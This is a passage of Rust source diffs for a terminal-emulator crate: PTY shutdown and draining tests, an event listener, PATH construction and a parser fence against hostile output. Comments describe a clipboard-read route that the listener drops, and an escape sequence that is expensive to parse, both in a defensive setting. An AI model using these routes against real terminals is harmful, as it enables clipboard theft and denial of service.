let shell_pid = child.process_id().expect("pid") as i32;
let grandchild: i32 = read_when_written(&pidfile)
.expect("grandchild never reported its pid")
.parse()
.expect("pid is a number");
assert!(
poll_until(|| armed.exists()),
"grandchild never armed its SIGHUP trap; the tty hangup would kill it \
regardless of how we signal, and this test could not observe the \
difference"
);
assert!(
pid_alive(grandchild),
"test setup: the grandchild must be running before we shut down"
);
assert_ne!(
grandchild, shell_pid,
"test setup: the grandchild must be a distinct process, or this \
cannot tell a group signal from a pid signal"
);
shutdown(&mut child).expect("shutdown");
assert!(
poll_until(|| !pid_alive(shell_pid)),
"the session leader survived shutdown"
);
assert!(
poll_until(|| !pid_alive(grandchild)),
"an orphaned grandchild ({grandchild}) outlived the session -- the \
signal reached the shell's pid but not its process group"
);
}
/// Shutting down an already-dead child is safe and reaps it.
///
/// Without the leading `try_wait`, this path signals a pid that the kernel may
/// already have released and reassigned.
#[test]
fn shutdown_of_an_exited_child_is_a_reap_not_a_signal() {
let pair = open_pty();
let mut child = spawn_script(&pair, "exit 0");
assert!(
poll_until(|| child.try_wait().ok().flatten().is_some()),
"child did not exit"
);
assert_eq!(
shutdown(&mut child).expect("shutdown"),
Shutdown::AlreadyExited
);
}
/// The login `argv[0]` the child **actually receives**, not the string we
/// computed.
///
/// This closes the gap flagged in `e8b567aa`: `login_argv0` and
/// `portable-pty`'s `as_command` (`cmdbuilder.rs:510-517`) were each verified
/// by reading, and agreement-by-reading is not observation.
///
/// Two things make the probe terminate where a naive one hangs. The child
/// writes `$0` to a **file** rather than the PTY -- so there is no terminal
/// echo to strip, no ANSI to parse, and no dependency on the interactive
/// shell ever reaching EOF. And the read is polled to a deadline. Credit to
/// Quinn (`fcfd69b0`), whose three failed PTY-parsing harnesses established
/// that the harness was the bug.
///
/// The explicit-prog row is the control that isolates login `argv[0]` as the
/// only variable: same shell, same PTY, same fence, no `-` prefix.
#[test]
fn default_prog_child_observes_the_login_argv0() {
let dir = tempdir("buzz-terminal-argv0");
let shell = "/bin/sh";
let default_prog = observe_argv0(&dir.join("default"), shell, true);
assert_eq!(
default_prog,
login_argv0(shell),
"the child's $0 is not the login argv0 we computed"
);
assert!(
default_prog.starts_with('-'),
"a default-prog child must be a login shell: {default_prog:?}"
);
let explicit = observe_argv0(&dir.join("explicit"), shell, false);
assert_eq!(
explicit, shell,
"control: an explicitly-invoked shell must not be given a login argv0"
);
assert_ne!(
default_prog, explicit,
"control and subject agree, so this test cannot observe the login \
prefix at all"
);
}
/// Spawns a `/bin/sh` that writes its own `$0` to `pidfile`, either as a
/// default program (login argv0 applied by portable-pty) or explicitly.
///
/// The default-prog child is an *interactive* shell with no `-c`, so it is
/// driven by writing to the PTY master -- the only way to give a login shell
/// a command is to type one.
fn observe_argv0(outfile: &std::path::Path, shell: &str, default_prog: bool) -> String {
let pair = open_pty();
let resolved = resolve_shell(Some(shell));
let mut cmd = if default_prog {
CommandBuilder::new_default_prog()
} else {
CommandBuilder::new(shell)
};
fence_env(&mut cmd, &user_shell_path(), &resolved);
if !default_prog {
cmd.arg("-c");
cmd.arg(format!("printf '%s' \"$0\" > {}", outfile.display()));
}
let mut child = pair.slave.spawn_command(cmd).expect("spawn");
drain(&pair);
drop(pair.slave);
if default_prog {
use std::io::Write;
let mut writer = pair.master.take_writer().expect("writer");
writeln!(writer, "printf '%s' \"$0\" > {}", outfile.display()).expect("write");
writer.flush().expect("flush");
// Dropping the writer closes the master's write side, which the shell
// reads as end-of-input and exits on -- no `exit` command needed, and
// nothing depends on the shell's rc files having run.
drop(writer);
}
let observed = read_when_written(outfile);
let _ = crate::lifecycle::shutdown(&mut child);
observed.unwrap_or_else(|| panic!("child never reported $0 within {BOUND:?}"))
}
/// A fresh directory for a test's artifacts, replacing any prior run's.
fn tempdir(name: &str) -> std::path::PathBuf {
let dir = std::env::temp_dir().join(name);
let _ = std::fs::remove_dir_all(&dir);
std::fs::create_dir_all(&dir).expect("create temp dir");
dir
}
/// Mari's noisy-child discriminator: the reader must still be draining
/// **while** the child is being terminated and reaped.
///
/// The portable contract is structural: `stop` must not be requested until
/// the child has been reaped. The recording reader checks the child PID at the
/// `stop` call, while the continuously noisy PTY makes the test exercise a
/// reader that is genuinely active rather than a quiet no-op.
///
/// The child is deliberately noisy: it floods the PTY continuously, so a
/// master that stops being read fills its kernel buffer within milliseconds
/// and the child blocks in `write()`. That is the state the drain law exists
/// to avoid, and a quiet child cannot produce it -- with nothing being
/// written, both orders look identical and the test proves nothing.
#[test]
fn reader_drains_through_termination_and_reap() {
let pair = open_pty();
// Flood, and keep flooding: `yes` writes until the pipe is closed or the
// process dies, so there is always more output pending than the buffer
// holds.
let mut child = spawn_noisy(&pair);
let pid = child.process_id().expect("pid") as i32;
let order = std::sync::Arc::new(std::sync::Mutex::new(Vec::new()));
let stop_at: StopClock = std::sync::Arc::new(std::sync::Mutex::new(None));
let reader = RecordingReader::spawn(&pair, pid, order.clone(), stop_at.clone());
// Release the slave, exactly as the runtime does after spawning
// (`terminal_runtime.rs:441`). Not hygiene: a PTY master does not reach
// EOF while *any* process holds the slave open, and this test is one --
// so with the slave retained the reader parks in `read()` forever after
// the child is reaped, and every wait on it burns its whole bound. Linux
// honours that rule strictly; Darwin ends the read when the session
// leader exits, so the retained slave was invisible on the platform this
// was written on and failed only in CI.
drop(pair.slave);
// Establish that this is a live draining reader, not a quiet fixture.
assert!(
poll_until(|| reader.total_bytes() > 4096),
"test setup: the child is not producing enough output to fill the pty \
buffer, so this cannot distinguish drain order"
);
let started = Instant::now();
let outcome = shutdown_draining(&mut child, Box::new(reader)).expect("shutdown");
// `stop` runs the instant `shutdown` returns, so this is the child's half
// of the window and nothing else. Timing the whole call would fold reader
// teardown into an assertion whose message is about child termination --
// which is exactly how a stalled reader once read as a wedged child.
let elapsed = stop_at
.lock()
.unwrap()
.expect("stop was never called")
.duration_since(started);
assert_eq!(
outcome,
Shutdown::Terminated,
"a `yes` pipeline dies on SIGTERM; SIGKILL here means it was wedged in \
a tty write against an undrained master"
);
assert!(
elapsed < TERM_GRACE,
"shutdown took {elapsed:?}, at or beyond the {TERM_GRACE:?} grace \
period: the child was blocked writing to an undrained master rather \
than exiting on SIGTERM"
);
assert_eq!(
*order.lock().unwrap(),
["begin_closing", "stop", "join"],
"reader close must begin before termination and stop/join only after reap"
);
}
/// Spawns a child that floods the PTY without pause.
fn spawn_noisy(pair: &PtyPair) -> Box<dyn Child + Send + Sync> {
let shell = resolve_shell(std::env::var("SHELL").ok().as_deref());
let mut cmd = CommandBuilder::new("/bin/sh");
fence_env(&mut cmd, &user_shell_path(), &shell);
cmd.arg("-c");
cmd.arg("while :; do echo aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; done");
// Deliberately no `drain` here: this test owns the reader.
pair.slave.spawn_command(cmd).expect("spawn")
}
/// A [`DrainingReader`] that records how much it read after close began.
struct RecordingReader {
pid: i32,
total: std::sync::Arc<std::sync::atomic::AtomicU64>,
handle: std::thread::JoinHandle<()>,
order: std::sync::Arc<std::sync::Mutex<Vec<&'static str>>>,
/// When `stop` was called -- i.e. the instant `shutdown` returned.
stop_at: StopClock,
}
/// Shared slot for the instant the reader was asked to stop.
type StopClock = std::sync::Arc<std::sync::Mutex<Option<Instant>>>;
impl RecordingReader {
fn spawn(
pair: &PtyPair,
pid: i32,
order: std::sync::Arc<std::sync::Mutex<Vec<&'static str>>>,
stop_at: StopClock,
) -> Self {
let mut reader = pair.master.try_clone_reader().expect("reader");
let total = std::sync::Arc::new(std::sync::atomic::AtomicU64::new(0));
let counter = total.clone();
let handle = std::thread::spawn(move || {
use std::io::Read;
let mut buf = [0u8; 4096];
while let Ok(n) = reader.read(&mut buf) {
if n == 0 {
break;
}
counter.fetch_add(n as u64, Ordering::Relaxed);
}
});
Self {
pid,
total,
handle,
order,
stop_at,
}
}
fn total_bytes(&self) -> u64 {
self.total.load(Ordering::Relaxed)
}
}
impl DrainingReader for RecordingReader {
fn begin_closing(&self) {
self.order.lock().unwrap().push("begin_closing");
}
fn stop(&self) {
*self.stop_at.lock().unwrap() = Some(Instant::now());
assert!(
!pid_alive(self.pid),
"reader stop must not be requested before the child is reaped"
);
self.order.lock().unwrap().push("stop");
}
fn join(self: Box<Self>) {
self.order.lock().unwrap().push("join");
// Bounded, and that is the whole point. The read loop ends when the
// master reports EOF, which only happens once the reaped child has
// released the slave -- so joining *before* termination blocks
// forever. That is precisely the forbidden ordering (mutation L4),
// and an unbounded join would "detect" it by hanging, which is
// indistinguishable from a broken test. Waiting to a deadline and
// abandoning the thread converts the hang into an assertion failure
// the harness can report.
//
// The deadline must *assert*, not return. A silent abandon is
// indistinguishable from a clean join, and that is not hypothetical:
// it is how a 10 s stall in this fixture masqueraded as a
// child-termination failure in the caller's timing assertion. The
// caller's clock covers `shutdown()` only, so this is the sole gate
// on reader teardown -- with a wedged reader, `shutdown()` still
// returns in ~58 ms and every other assertion here passes.
assert!(
poll_until(|| self.handle.is_finished()),
"reader thread never finished within {BOUND:?} after the child was \
reaped: the master never reached EOF, so output was not being \
drained through termination"
);
let _ = self.handle.join();
}
}
@@ -0,0 +1,144 @@
//! The closed set of terminal events we act on.
//!
//! `EventListener` is how the emulator asks the embedder to do something. Most
//! of those requests write back to the PTY, and one of them — `ClipboardLoad` —
//! would let terminal output read the user's clipboard into the shell. We
//! answer a fixed set and **drop everything else by default**, so a new upstream
//! variant is inert until someone deliberately handles it.
use std::fmt;
use std::sync::mpsc::{self, Receiver, Sender};
use std::sync::Arc;
use alacritty_terminal::event::{Event, EventListener, WindowSize};
use alacritty_terminal::vte::ansi::Rgb;
/// Something the embedder must do on the terminal's behalf.
///
/// Two variants carry upstream's reply formatters rather than a finished
/// string: the answers depend on state this listener does not own (the color
/// palette, the cell metrics). Resolving them here would mean inventing
/// values, and a program that asked for its terminal's real background color
/// would silently be told black.
#[derive(Clone)]
pub enum Action {
/// Write bytes back to the PTY.
PtyWrite(String),
/// Reply with palette entry `index`, formatted by `format`.
ColorReply {
index: usize,
format: Arc<dyn Fn(Rgb) -> String + Send + Sync>,
},
/// Reply with the text area size, formatted by `format`.
SizeReply {
format: Arc<dyn Fn(WindowSize) -> String + Send + Sync>,
},
/// The program set the window title (already clamped).
Title(String),
/// The program reset the window title.
ResetTitle,
/// New content is available; the renderer should sample damage.
Wakeup,
/// The program rang the bell.
Bell,
}
impl fmt::Debug for Action {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
match self {
Self::PtyWrite(text) => write!(f, "PtyWrite({text:?})"),
Self::ColorReply { index, .. } => write!(f, "ColorReply({index})"),
Self::SizeReply { .. } => write!(f, "SizeReply"),
Self::Title(title) => write!(f, "Title({title:?})"),
Self::ResetTitle => write!(f, "ResetTitle"),
Self::Wakeup => write!(f, "Wakeup"),
Self::Bell => write!(f, "Bell"),
}
}
}
/// Longest title we will carry. A title is program-controlled text that ends up
/// in UI chrome; an unbounded one is a memory and layout problem.
pub const TITLE_LIMIT: usize = 512;
/// Clamp on a character boundary, never mid-UTF-8.
fn clamp_title(title: String) -> String {
match title.char_indices().nth(TITLE_LIMIT) {
None => title,
Some((byte_idx, _)) => title[..byte_idx].to_string(),
}
}
/// Translates upstream events into the closed [`Action`] set.
#[derive(Clone)]
pub struct Listener(Sender<Action>);
impl Listener {
pub fn new() -> (Self, Receiver<Action>) {
let (tx, rx) = mpsc::channel();
(Self(tx), rx)
}
}
/// Resolve an emulator action that can be answered without renderer state.
///
/// Color queries deliberately return `None`: named/indexed colors resolve
/// against the live theme, which this crate does not own.
pub fn reply(
action: Action,
columns: u16,
rows: u16,
cell_width: u16,
cell_height: u16,
) -> Option<String> {
match action {
Action::PtyWrite(text) => Some(text),
Action::SizeReply { format } => Some(format(WindowSize {
num_lines: rows,
num_cols: columns,
cell_width,
cell_height,
})),
// Palette values are renderer-owned. The transport must answer these
// only after it has a renderer palette, never invent one here.
Action::ColorReply { .. }
| Action::Title(_)
| Action::ResetTitle
| Action::Wakeup
| Action::Bell => None,
}
}
impl EventListener for Listener {
fn send_event(&self, event: Event) {
let action = match event {
// Replies the program is waiting on. These are the only routes by
// which emulator state travels back into the shell.
Event::PtyWrite(text) => Action::PtyWrite(text),
// A program blocked on a color reply must get one, or it hangs.
// The palette lives in `Term`, so the caller resolves the index;
// the formatter is carried through untouched.
Event::ColorRequest(index, format) => Action::ColorReply { index, format },
Event::TextAreaSizeRequest(format) => Action::SizeReply { format },
Event::Title(title) => Action::Title(clamp_title(title)),
Event::ResetTitle => Action::ResetTitle,
Event::Wakeup => Action::Wakeup,
Event::Bell => Action::Bell,
// Dropped on purpose, and enumerated so the reason survives:
//
// ClipboardLoad would let terminal output paste the user's
// clipboard into the shell. Never handled.
Event::ClipboardLoad(..) => return,
// ClipboardStore is an OSC 52 write; OSC 52 is disabled in the
// Term config, so this should be unreachable rather than merely
// unhandled.
Event::ClipboardStore(..) => return,
// Presentation concerns the renderer polls for; no action here.
Event::MouseCursorDirty | Event::CursorBlinkingChange => return,
// Lifecycle is owned by the PTY layer, not the emulator.
Event::Exit | Event::ChildExit(_) => return,
};
let _ = self.0.send(action);
}
}
@@ -0,0 +1,46 @@
//! `PATH` derivation for spawned PTY children.
//!
//! Buzz's own process runs under Hermit activation, so its `PATH` leads with
//! the repo's hermit `bin` and the hermit cache. Inheriting that verbatim
//! hands the user a shell whose `cargo`, `node`, and `python` are Buzz's
//! pinned build toolchain rather than the ones they installed. That is a
//! product defect, not merely untidy: `⌘J` then `cargo --version` should
//! answer for the user's machine, not for Buzz's build.
//!
//! The abandoned `feat/terminal` branch tried to solve this by subtracting
//! hermit roots from the inherited `PATH` (`terminal.rs:504-536`). The
//! subtraction never ran: `spawn_session` calls `env_remove` on `HERMIT_ENV`
//! and `ACTIVE_HERMIT` at `:339-344`, *before* `scrub_hermit_path` reads
//! those same keys at `:505-506` to learn what to strip. With both keys
//! already gone the roots list is empty and the function returns early,
//! leaving the hermit entries in place. Verified by reproduction: in that
//! order the child's `PATH` is unchanged; reversed, the hermit entries are
//! removed. A subtractive fence depends on evidence of what to subtract, and
//! that evidence is exactly what the preceding cleanup destroys.
//!
//! So `PATH` is *constructed*, not filtered. The child gets the platform's
//! standard user path, which is what a login shell would have produced had
//! Buzz never been in the picture.
/// The default user `PATH` for a spawned shell.
///
/// This intentionally does not consult Buzz's own `PATH`. A login shell reads
/// the user's rc files, which prepend their own entries (homebrew, asdf, mise,
/// `~/.local/bin`); starting from the platform default lets that happen
/// normally instead of layering it on top of Buzz's build toolchain.
#[cfg(unix)]
pub fn user_shell_path() -> String {
// Mirrors the `_PATH_DEFPATH`/`login(1)` default: standard system
// binaries only. `/usr/local/bin` is included because it is the
// conventional prefix on both macOS and Linux for user-installed tools
// that rc files expect to already be present.
"/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin".to_string()
}
#[cfg(windows)]
pub fn user_shell_path() -> String {
// On Windows the system directories are derived from the environment
// rather than fixed, and `cmd.exe`/PowerShell resolution depends on them.
let root = std::env::var("SystemRoot").unwrap_or_else(|_| r"C:\Windows".to_string());
format!(r"{root}\system32;{root};{root}\system32\Wbem")
}
@@ -0,0 +1,354 @@
//! Fence enforcement around `vte`'s `Processor`.
//!
//! Everything that reaches the terminal's parser goes through [`Feeder::feed`].
//! It is the single place both fences are applied, so there is no route by
//! which bytes become parser-visible without being charged.
use alacritty_terminal::vte::ansi::{Handler, Processor, StdSyncHandler};
use crate::fences::{
slice_bytes_remaining, FenceStats, Fences, MAX_SLICE, OSC_BUDGET, SYNC_CAP, TAIL_CAP,
TAIL_RESUME, WORK_BUDGET,
};
use crate::units::{Counting, CursorColumn};
/// Owns the parser and enforces F1/F2 on every byte fed to it.
pub struct Feeder {
parser: Processor<StdSyncHandler>,
fences: Fences,
stats: FenceStats,
/// Bytes charged since the last F2 reset.
since_reset: usize,
/// Bytes accepted but not yet parsed. Grows when arrival outruns
/// retirement; drained by every [`Feeder::feed`] and [`Feeder::drain`].
pending: Vec<u8>,
/// How much of `pending` has already been parsed. Kept as an index rather
/// than draining the front on every slice, so a large tail is not
/// re-shuffled once per slice; the prefix is dropped in one go on the next
/// enqueue.
pending_at: usize,
/// The grid the weights are computed against. Tracked here rather than
/// read from the `Term` because `feed` only has the handler, and kept in
/// sync by [`Feeder::resize`]: a stale grid misprices every O(cells)
/// callback for as long as it is wrong.
columns: usize,
lines: usize,
/// Whether the parser is part-way through an escape sequence that has not
/// yet dispatched. Governs how the next slice is metered -- see
/// [`crate::fences::slice_bytes_remaining`].
mid_escape: bool,
/// Deepest scrollback this feeder has ever been configured for.
///
/// A high-water mark rather than the current depth, and the difference is
/// not conservatism for its own sake -- the rows are still there. Upstream
/// frees history lazily: `Storage::shrink_lines` truncates only once the
/// buffer exceeds the new length by `MAX_CACHE_SIZE`, so immediately after
/// a decrease the grid still owns rows that a reset must walk. Pricing at
/// the new depth would charge for a grid that does not exist yet.
///
/// Never lowered, so it needs no clearing transition and cannot go stale
/// in the unsafe direction. The cost is that a session which shrinks its
/// scrollback keeps paying the deep price for the rest of its life; the
/// alternative is a bound that is wrong immediately after every shrink.
scrollback: usize,
}
impl Feeder {
pub fn new(fences: Fences, columns: usize, lines: usize, scrollback: usize) -> Self {
Self {
parser: Processor::new(),
fences,
stats: FenceStats::default(),
since_reset: 0,
pending: Vec::new(),
pending_at: 0,
mid_escape: false,
columns,
lines,
scrollback,
}
}
/// Track a geometry change, so the cost weights describe the current grid.
///
/// Takes the whole [`crate::Size`] rather than a column/line pair on
/// purpose. Scrollback is as load-bearing as the other two -- it is most
/// of RIS's price and therefore most of the slice derivation -- and a
/// signature that accepted only the dimensions let a caller change the
/// depth on the `Term` while the feeder kept charging the construction
/// value. One argument, one ownership boundary, no way to update two of
/// three.
pub fn resize(&mut self, size: crate::Size) {
self.columns = size.columns;
self.lines = size.screen_lines;
// Grows only. See the field: a decrease does not immediately free the
// rows a reset has to walk.
self.scrollback = self.scrollback.max(size.scrollback);
}
pub fn stats(&self) -> FenceStats {
self.stats
}
pub fn reset_stats(&mut self) {
self.stats.reset();
}
/// Bytes currently buffered inside a synchronized update.
pub fn pending_sync_bytes(&self) -> usize {
self.parser.sync_bytes_count()
}
/// Bytes accepted but not yet parsed, because a previous [`Feeder::feed`]
/// spent its work budget before reaching them.
pub fn pending_bytes(&self) -> usize {
self.pending.len() - self.pending_at
}
/// Whether the pending tail has reached [`TAIL_CAP`].
///
/// Deliberately derived from the current depth rather than latched. A
/// latch is a state the fence owns and could fail to clear, which is
/// exactly how a paused reader strands a child mid-teardown; a reader that
/// simply stops asking resumes by default.
///
/// **No production consumer today, and not an oversight.** The runtime
/// reader pumps [`Feeder::drain`] to completion after every read
/// (`terminal_runtime.rs`), so the tail is empty between iterations and
/// this can never go true -- measured 0 bytes high-water against 8 MiB of
/// pure RIS, the densest atom there is. It exists for a future reader
/// that defers pumping, and such a reader **must** consult it: without
/// the pump loop the same stream reaches [`TAIL_CAP`] in 257 reads of
/// 16 KiB.
///
/// The numbers are here rather than "nothing calls this" because the
/// signal and the loop are one fact from two sides. Delete the loop and
/// this predicate stops being unreachable in the same instant it starts
/// being needed.
pub fn tail_full(&self) -> bool {
self.pending_bytes() >= TAIL_CAP
}
/// Whether a paused reader may resume: the tail has drained to the low
/// water mark. Separate from `!tail_full()` so the reader does not flap
/// between full and one-byte-below-full.
pub fn tail_drained(&self) -> bool {
self.pending_bytes() <= TAIL_RESUME
}
/// Discard the unparsed tail.
///
/// For session close only, and lossless where it is used: publication is
/// detached before shutdown drains, so this tail is bytes no renderer can
/// consume. Draining the *PTY* remains lifecycle-critical -- this exists so
/// parser work cannot hold teardown behind it.
pub fn abandon_tail(&mut self) -> usize {
let abandoned = self.pending_bytes();
self.pending.clear();
self.pending_at = 0;
self.stats.abandoned_bytes += abandoned as u64;
abandoned
}
/// Accept PTY output and parse what fits in one work budget.
///
/// Returns whether bytes remain unparsed. Bytes beyond the budget are
/// retained and parsed by [`Feeder::drain`], so this bounds the *lock
/// hold*; it does not bound the queue. When arrival outruns retirement
/// the tail grows to [`TAIL_CAP`] and [`Feeder::tail_full`] goes true,
/// which is the reader's cue to stop reading the PTY and let the child
/// block. No policy is applied here: a fence that dropped input to protect
/// itself would corrupt the screen to avoid being slow.
pub fn feed<H: Handler + CursorColumn>(&mut self, handler: &mut H, bytes: &[u8]) -> bool {
self.enqueue(bytes);
self.drain(handler);
self.pending_bytes() > 0
}
/// Append to the pending tail, compacting the already-parsed prefix first.
fn enqueue(&mut self, bytes: &[u8]) {
if self.pending_at > 0 {
self.pending.drain(..self.pending_at);
self.pending_at = 0;
}
self.pending.extend_from_slice(bytes);
}
/// Parse from the pending tail until the work budget is spent.
///
/// The budget is checked between parser slices, never inside a callback:
/// vte's own mid-buffer stop is driven by `Perform::terminated()`, whose
/// implementor in the ansi layer is private, so the cut has to be made
/// from outside, and a callback already running cannot be preempted at
/// all. One atom is therefore the irreducible overrun -- and it is not
/// small: `ESC[65535Z` with tabstops cleared is 8 bytes and 82 ms at 1600
/// columns, because upstream's `move_backward_tabs` rescans the row once
/// per count when it finds no stop.
///
/// What *is* bounded is the number of atoms per slice, and that bound
/// holds from the first byte of a cold feeder: [`slice_bytes_remaining`] is derived
/// from the densest work-per-byte upstream can produce on this grid, so
/// no slice can contain more than one budget's worth of callbacks no
/// matter what the payload is or what the feeder has seen before.
///
/// Returns the work spent, which is at least the budget whenever the tail
/// is still non-empty on return.
pub fn drain<H: Handler + CursorColumn>(&mut self, handler: &mut H) -> u64 {
// Slices are copied out of the tail rather than borrowed from it,
// because `advance_slice` needs `&mut self` and the tail is part of
// self. A stack buffer keeps that from allocating; the copy is a
// memcpy against a parse two orders of magnitude more expensive.
let mut buf = [0u8; MAX_SLICE];
let mut spent: u64 = 0;
while self.pending_at < self.pending.len() {
// Size each slice against what is *left* of the budget, and
// against what is actually in front of the parser. A slice can
// only be as expensive as the callbacks it contains, and only an
// escape can buy grid-sized work in two bytes -- so a plain run
// is sliced against the plain-byte cost and stops at the next
// `ESC`, which then gets a slice metered against the worst atom.
// The drain therefore returns on the atom that crosses the
// budget, not at the end of a slice that ran several more.
//
// Where one atom is worth more than the entire budget -- RIS at
// any real scrollback depth -- that escape gets a one-byte slice.
// That is the honest consequence of the law: nothing wider can
// promise to stop after the crossing atom when a single atom
// always crosses.
// A slice is never wider than MAX_SLICE, so the scan for the next
// escape stops there too: searching the whole tail would be
// O(tail) per slice and O(tail^2) per drain, which measured as a
// 7x throughput *regression* on plain text -- a bound that costs
// more than the thing it bounds.
let horizon = (self.pending_at + MAX_SLICE).min(self.pending.len());
let next_escape = if self.mid_escape {
// Already inside a sequence whose callback has not fired. Its
// remaining bytes are *not* plain text -- `ESC` then `c` is a
// grid reset -- so they keep the escape's metering. Without
// this the byte after a lone `ESC` is priced as a character
// and the atom rides into a wide slice with whatever follows
// it, which is the post-atom overrun by another door.
0
} else {
self.pending[self.pending_at..horizon]
.iter()
.position(|&b| b == 0x1b)
.unwrap_or(horizon - self.pending_at)
};
let width = slice_bytes_remaining(
self.columns,
self.lines,
self.scrollback,
spent,
next_escape,
);
let end = (self.pending_at + width).min(self.pending.len());
let len = end - self.pending_at;
buf[..len].copy_from_slice(&self.pending[self.pending_at..end]);
self.pending_at = end;
let cost = self.advance_slice(handler, &buf[..len]);
// A slice that contained an escape but dispatched nothing left the
// parser mid-sequence. Work is the signal because it is the thing
// being budgeted: a sequence that has not yet cost anything has
// not yet run.
self.mid_escape = (self.mid_escape || buf[..len].contains(&0x1b)) && cost == 0;
spent = spent.saturating_add(cost);
if spent >= WORK_BUDGET {
break;
}
}
if self.pending_at == self.pending.len() {
self.pending.clear();
self.pending_at = 0;
}
let depth = self.pending_bytes();
self.stats.max_pending = self.stats.max_pending.max(depth);
if depth >= TAIL_CAP {
self.stats.tail_breaches += 1;
}
spent
}
/// Parse one slice, applying both fences to it. Returns the work it cost.
fn advance_slice<H: Handler + CursorColumn>(&mut self, handler: &mut H, bytes: &[u8]) -> u64 {
let mut spent: u64 = 0;
let sync_before = self.parser.sync_bytes_count();
{
let mut counting = Counting::new(handler, self.columns, self.lines, self.scrollback);
self.parser.advance(&mut counting, bytes);
self.stats.completed_units =
self.stats.completed_units.saturating_add(counting.units());
self.stats.completed_work = self.stats.completed_work.saturating_add(counting.work());
spent = spent.saturating_add(counting.work());
}
let sync_after = self.parser.sync_bytes_count();
// Charge exactly the bytes the parser could see, by route:
//
// * the buffer shrank -> a synchronized update ended and released
// `sync_before` buffered bytes plus whatever of `bytes` followed it.
// Charging only `bytes` here is the "omitted flush accounting"
// mutation: it under-charges by the whole buffered frame.
// * the buffer grew -> these bytes were swallowed into the buffer
// and are not yet parser-visible. Charging them now is the "raw
// counting" mutation: it over-charges, and resets the parser in the
// middle of a legitimate frame, destroying content.
// * neither -> ordinary unsynchronized input.
let charged = if sync_after < sync_before {
let released = sync_before + bytes.len() - sync_after;
self.note_release(released);
released
} else if sync_after > sync_before {
// Buffered, not yet visible. Charged when it is released.
0
} else {
bytes.len()
};
self.charge(charged);
// F1: a synchronized update may not buffer without bound. One abort
// per breach; the released bytes are parser-visible and are charged.
if self.fences.sync_abort && self.parser.sync_bytes_count() >= SYNC_CAP {
let released = self.parser.sync_bytes_count();
// Counted too: aborting flushes the buffered frame through the
// handler, so these are units the lock hold paid for. Leaving them
// out would undercount exactly on the fenced path.
{
let mut counting =
Counting::new(handler, self.columns, self.lines, self.scrollback);
self.parser.stop_sync(&mut counting);
self.stats.completed_units =
self.stats.completed_units.saturating_add(counting.units());
self.stats.completed_work =
self.stats.completed_work.saturating_add(counting.work());
spent = spent.saturating_add(counting.work());
}
self.stats.sync_aborts += 1;
self.note_release(released);
self.charge(released);
}
// F2: rebuild the parser once the budget is spent. Unconditional --
// a fresh `Processor` is the only way to discard parser state that a
// hostile stream is holding open, and it must not depend on the
// parser agreeing that it is in a bad state.
if self.fences.osc_budget && self.since_reset >= OSC_BUDGET {
self.parser = Processor::new();
self.stats.osc_resets += 1;
self.since_reset = 0;
}
spent
}
fn charge(&mut self, bytes: usize) {
self.since_reset += bytes;
self.stats.charged_bytes += bytes as u64;
}
fn note_release(&mut self, bytes: usize) {
if bytes > self.stats.max_release {
self.stats.max_release = bytes;
}
}
}
@@ -0,0 +1,305 @@
//! The lock the reader and the renderer contend for, and the meter on it.
//!
//! This lives in the engine crate rather than in the embedder because the
//! property it exists to prove is a property of the emulator *and* the lock
//! together: F1 bounds how many bytes one `feed` releases into the parser,
//! which bounds how long the reader can hold this mutex, which bounds how long
//! the renderer waits for it. Split the lock out to the Tauri layer and the
//! gate can only be written where no fixture runs.
//!
//! Measured, not assumed. Under a 180 MB/s flood the reader's own hold is
//! p50 1 us while the renderer's *acquire* is p50 4245 us -- four orders apart,
//! because 0.389% of calls carry 96.4% of the lock time. Holding time is the
//! wrong quantity; waiting time is the one a human feels. So the two planes are
//! metered separately: pooling them would let the reader's millions of fast
//! acquires dilute the renderer's tail into a false pass.
use std::sync::atomic::{AtomicBool, AtomicU32, AtomicU64, Ordering};
use std::time::Instant;
use alacritty_terminal::sync::FairMutex;
use parking_lot::MutexGuard;
use crate::damage::{self, Encoder, Frame};
use crate::Terminal;
/// Number of latency buckets. Bucket `i` covers `[2^(i-1), 2^i)` microseconds,
/// so bucket 31 tops out around 35 minutes -- unreachable in practice, which is
/// the point: nothing is silently clamped into the last bucket.
const BUCKETS: usize = 32;
fn bucket_of(micros: u64) -> usize {
(u64::BITS - micros.leading_zeros()) as usize
}
/// Upper bound of a bucket, in microseconds. Percentiles report this, so a
/// reported latency is never better than what was actually observed.
fn bucket_ceiling(bucket: usize) -> u64 {
if bucket == 0 {
0
} else {
(1u64 << bucket) - 1
}
}
/// Lock-acquisition latencies for one plane, recorded without taking a second
/// lock -- an instrument that contends is measuring itself.
#[derive(Debug)]
pub struct AcquireMeter {
acquisitions: AtomicU64,
max_micros: AtomicU64,
buckets: [AtomicU32; BUCKETS],
}
impl Default for AcquireMeter {
fn default() -> Self {
Self {
acquisitions: AtomicU64::new(0),
max_micros: AtomicU64::new(0),
buckets: std::array::from_fn(|_| AtomicU32::new(0)),
}
}
}
impl AcquireMeter {
fn record(&self, micros: u64) {
self.acquisitions.fetch_add(1, Ordering::Relaxed);
self.max_micros.fetch_max(micros, Ordering::Relaxed);
self.buckets[bucket_of(micros)].fetch_add(1, Ordering::Relaxed);
}
/// Read the counters. Cheap and non-blocking; safe to call from a gate
/// while the flood is still running.
pub fn snapshot(&self) -> AcquireStats {
AcquireStats {
acquisitions: self.acquisitions.load(Ordering::Relaxed),
max_micros: self.max_micros.load(Ordering::Relaxed),
buckets: std::array::from_fn(|i| self.buckets[i].load(Ordering::Relaxed)),
}
}
/// Clear the counters. Diagnostics are per-run.
pub fn reset(&self) {
self.acquisitions.store(0, Ordering::Relaxed);
self.max_micros.store(0, Ordering::Relaxed);
for bucket in &self.buckets {
bucket.store(0, Ordering::Relaxed);
}
}
}
/// A read of one plane's acquisition latencies.
///
/// `max_micros` is exact because the budget it answers to -- no acquire above
/// one frame at 60 Hz -- is a statement about a single worst event. The
/// distribution is bucketed by powers of two because the budget *it* answers to
/// has 80x of headroom (p95 measured at 49 us against 4 ms), and a factor-of-two
/// resolution against 80x of margin buys nothing for the memory it costs.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub struct AcquireStats {
pub acquisitions: u64,
pub max_micros: u64,
buckets: [u32; BUCKETS],
}
impl AcquireStats {
/// Latency at percentile `p` (0.0..=1.0), in microseconds, rounded up to
/// the enclosing bucket's ceiling.
pub fn percentile_micros(&self, p: f64) -> u64 {
if self.acquisitions == 0 {
return 0;
}
